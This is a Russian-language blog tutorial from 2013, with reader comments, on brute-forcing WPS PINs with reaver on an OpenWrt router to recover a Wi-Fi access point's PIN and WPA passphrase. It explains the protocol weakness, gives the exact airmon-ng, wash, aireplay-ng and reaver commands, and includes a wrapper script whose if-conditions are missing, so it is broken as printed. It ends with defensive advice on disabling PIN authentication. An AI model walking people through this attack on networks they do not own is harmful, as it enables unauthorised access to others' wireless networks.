Menu
Categories
Использование reaver для восстановления PIN-кода WPS
March 20, 2013 Сеть и интернет

В большинстве беспроводных роутеров с поддержкой WPS, реализующей авторизацию по PIN, существует уязвимость безопасности сети. Используя ее становится возможным восстановление PIN-кода точки доступа, а также установленных на ней WPA/WPA2-паролей.

Теория

Уязвимость заключается в том, что метод авторизации содержит недочеты, позволяющие существенно упростить прямой перебор PIN-кодов, иными словами – реализуется эффективная брутфорс-атака. PIN-код WPS содержит восемь цифр, соответственно существует 108 возможных вариантов кода. Это довольно большое число, но в реальности количество переборов можно существенно сократить.

Во-первых, восьмисимвольный PIN-код при авторизации делится на две части, обработка которых происходит независимо друг от друга. Так, точка доступа и клиент обмениваются рядом последовательных сообщений М1-М8, и при этом:

  • Если после отправки сообщения М4 точка доступа отвечает кодом EAP-NACK, значит первая половина PIN-кода ошибочна;
  • Если после отправки сообщения М6 точка доступа отвечает кодом EAP-NACK, значит вторая половина PIN-кода ошибочна.

В итоге, число необходимых переборов сокращается с 108 (100’000’000) до 104+104 (20’000).

Во-вторых, последняя цифра PIN-кода не является случайной и представляет собой контрольную сумму предыдущих цифр кода. Этот факт сокращает количество вариантов до 104+103 (11’000).

Наконец, немаловажной деталью является тот факт, что на многих домашних роутерах PIN-авторизация: а) включена по-умолчанию; б) не накладывает никаких ограничений на отправителя при отправке множества некорректных PIN-кодов. Это открывает возможность по неограниченному перебору пин-кодов на таких роутерах.

Автоматизация

Разумеется, не пришлось долго ждать появления умельцев, реализовавших программный метод для автоматического перебора PIN-кодов – в лице программы reaver wps. Более того, данная утилита даже была портирована в OpenWrt и присутствует в официальном репозитории пакетов.

Итак, для запуска процесса восстановления PIN-кода нашей точки доступа при помощи роутера под управлением OpenWrt нам потребуется установить пакеты aircrack-ng и reaver (в Buildroot расположены в разделе Network -> Wireless). Первый пакет представляет собой набор утилит и скриптов, при помощи которого мы сможем перевести Wi-Fi передатчик роутера в режим “Monitor”; второй – это непосредственно утилиты для анализа и подбора PIN-кодов.

Сначала подготовим Wi-Fi передатчик нашего роутера. Обратите внимание, соответствующий передатчик уже должен быть активирован в UCI или веб-интерфейсе. Допустим, если выбранный сетевой интерфейс называется wlan0, то используем команду:

root@OpenWrt:~# airmon-ng start wlan0

Теперь у нас появился новый виртуальный сетевой интерфейс – mon0. К сожалению, чтобы на нем работал режим scan, в современных прошивках требуется отключение “обычного” беспроводного интерфейса:

root@OpenWrt:~# ifconfig wlan0 down

Теперь мы можем использовать утилиту wash, при помощи которой можно увидеть окрестные точки доступа, поддерживающие WPS-авторизацию, а также убедимся в том, что с роутера просматривается целевая точка доступа и ее MAC-адрес:

root@OpenWrt:~# wash -i mon0

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

BSSID              Channel  RSSI  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------------------------------
...
00:01:FD:AC:DD:EA     2       -64   1.0          No          TestAP
...

Запоминаем номер канала и BSSID нашей точки доступа.

В принципе, на этом этапе мы уже имеем достаточно данных для начала автоматизированноого перебора паролей. Для этого было бы достаточно набрать следующую команду и ждать результата:

root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -v

Однако, не все так гладко в Датском королевстве OpenWrt.

Проблема в следующем:

Утилита reaver местами использует низкоуровневые вычисления, а первоначально она составлялась для ПК с процессорами х86-64, использующими порядок байтов типа “Little-endian” (LE, от меньшего к большему). В то же время на многих распространенных роутерах используется представление байт “Big-endian” (BE, от большего к меньшему). Первое время это приводило к тому, что reaver вовсе не функционировал на роутерах с BE-платформой. Позже были написаны патчи, исправлявшие эту ситуацию, но тем не менее до сих пор не решена проблема с аутентификацией на точке доступа при использовании платформы с BE. Поэтому требуются обходные пути.

В частности, нам поможет ручная аутентификация на точке доступа при помощи утилиты aireplay-ng из пакета aircrack-ng. Однако в отличие от reaver данная утилита не умеет самостоятельно выставлять требуемый Wi-Fi канал, поэтому его необходимо задать вручную:

root@OpenWrt:~# iwconfig mon0 channel 2
root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0

Эта утилита работает в foreground-режиме, поэтому после того, как вы убедитесь, что ассоциирование с точкой доступа происходит успешно, требуется прервать ее выполнение по Ctrl+C и перезапустить в фоновом режиме:

root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0 > /dev/null &

Затем при запуске reaver добавляем ключ -A:

root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -vv -A

Если все выполнено правильно, то можно будет наблюдать следующие строки:

...
 Trying pin 54545670
 Sending EAPOL START request
 Received identity request
 Sending identity response
 Received M1 message
 Sending M2 message
 Received M3 message
 Sending M4 message
 Received WSC NACK
 Sending WSC NACK
 Trying pin 54555679
 Sending EAPOL START request
 Received identity request
...

В случае появления повторяющихся сообщений Sending EAPOL START request и WARNING: Receive timeout occurred, вероятно, ассоциирование с точкой доступа не было успешным. В случае обнаружения зацикленного перебора одинаковых PIN-ов, вероятно, точка доступа все-таки не поддерживает такую авторизацию, либо произошел сбой в работе reaver.

В общем случае алгоритм корректного перебора PIN-ов предполагает последовательное увеличение первых четырех цифр до тех пор, пока они не будут подобраны верно. Затем первые четыре цифры фиксируются и начинается перебор предпоследних трех цифр. В последней позиции PIN-кода автоматически генерируется число, являющееся контрольной суммой предыдущих чисел.

Также есть еще один момент, актуальный для запуска reaver на OpenWrt:

При работе данная утилита использует файл базы данных sqlite3, а также для хранения информации по текущей точке доступа создается временный файл в текущем каталоге. Оба этих файла перезаписываются после каждой новой попытки подбора PIN-кода. Соответственно, в целях сохранения flash-памяти вашего роутера от износа запускать reaver следует из каталога /tmp. Но, к сожалению, это никак не решает проблему постоянной перезаписи sqlite3-базы, расположенной в /etc/reaver/reaver.db. В данном случае решением проблемы стало бы создание копии этой базы в /tmp и добавление симлинка на нее в /etc.

Для упрощения решения проблемы с переносом sqlite3-базы в /tmp и автоматизации запуска aireplay был составлен скрипт reaverrun.sh:

#!/bin/ash

if 
then
        echo
        echo "Reaver WPS Tool automatization script for OpenWrt"
        echo "(c) 2013 Erinome.net"
        echo
        echo "Usage: $0 <interface> <channel> <bssid>"
        echo
        exit
fi

interface=$1
channel=$2
bssid=$3

cd /tmp

# check if symlink is created
if 
then
        # check if symlink target not ok
        if ! 
        then
                if 
                then
                        # copy backup to symlinked location
                        cp /etc/reaver/reaver.db.orig /tmp/reaver.db
                else
                        echo "Fatal: reaver.db.orig not found!"
                        exit 1;
                fi
        fi
else
        # move reaver.db to reaver.db.orig and create symlink
        cp /etc/reaver/reaver.db /tmp/reaver.db
        mv /etc/reaver/reaver.db /etc/reaver/reaver.db.orig
        ln -s /tmp/reaver.db /etc/reaver/reaver.db
fi

# make a trap for signal handling
trap "{ /usr/bin/killall aireplay-ng; exit; }" SIGINT EXIT

# change wireless channel for aireplay to work
iwconfig $interface channel $channel

# run aireplay-ng to associate since reaver ap association is broken in BE
aireplay-ng -1 5 -a $bssid $interface > /dev/null &

# actually run reaver
reaver -i mon0 -b $bssid -vv -A -S

Скачать скрипт можно из нашего хранилища: reaverrun.sh.

Процесс восстановления PIN-кода может занимать достаточно длительное время, и поэтому есть смысл запускать его в виртуальном терминале типа screen.

При завершении восстановления PIN-кода в консоль будет выведен также WPA-passphrase и затраченное на восстановление время:

 Sending M4 message
 Received M5 message
 Sending M6 message
 Received M7 message
 Sending WSC NACK
 Sending WSC NACK
 Pin cracked in 29786 seconds
 WPS PIN: '73133210'
 WPA PSK: 'the-most-secret-passphrase-ever'
 AP SSID: 'TestAP'

После завершения работы с reaver необходимо выключить сетевой интерфейс mon0 командой airmon-ng stop mon0. Также привести роутер в исходное состояние можно и просто набрав команду wifi. При этом временные сетевые интерфейсы будут удалены, а конфигурация беспроводной сети вернется к заданным в UCI или веб-интерфейсе роутера значениям.

Вместо заключения

Для обеспечения безопасности беспроводных сетей с поддержкой WPS остается лишь рекомендовать отключить возможность авторизации по PIN-кодам, либо свериться с информацией по возможности обновления прошивки у производителя вашего роутера или точки доступа. Достаточно эффективной защиты PIN-авторизации можно было бы добиться простым ограничением числа попыток авторизаций в единицу времени. Например, таковая защита представлена на современных роутерах марки Zyxel.

"7" Comments
  1. Пожалуйста подробнее про screen и запуск в виртуальном терминале.

    • Необходимо установить утилиту screen. Это можно сделать через opkg – она есть в официальных репозиториях OpenWrt. Затем запускаете ее, просто набрав слово screen в ssh-консоли, после чего запускаете reaver и нажимаете Ctrl+a, d (контрол+а нажимаются одновременно, затем отдельно d) для того, чтобы отправить сессию в фоновый режим. Чтобы затем вернуться обратно к последней открытой сессии, набираете команду screen -r.
      При помощи команды screen -ls можно увидеть список запущенных сессий и их имен. Для возвращения в какую-либо конкретную сессию – команда screen -r имя.

  2. Подскажите пожалуйста что может бить? После запуска reaver появляетса сообщение warning: detected ap rate limiting, waeting 60 seconds before re-checking и дальше только повтори етого сообщения

    • Это означает, что точка доступа, к которой вы пытаетесь подобрать пинкод, имеет ограничение на количество неудачных попыток авторизации, после превышения которого она перестает откликаться на новые запросы.

  3. У меня после sending m4 пишет receive timeout occurred. При написании -d 0 вообще при любом пине приходит m5, и после отправки m6 опять приходит m5 и происходит ошибка.Что делать?

  4. wash пишет bus error

  5. При запуске скрипта, пишет следующие ошибки:
    root@OpenWrt:/tmp# sh /tmp/reaverrun.sh
    : not foundrun.sh: line 2:
    /tmp/reaverrun.sh: line 52: syntax error: unexpected end of file (expecting “then”)

Leave a Reply to root

Click here to cancel reply.




*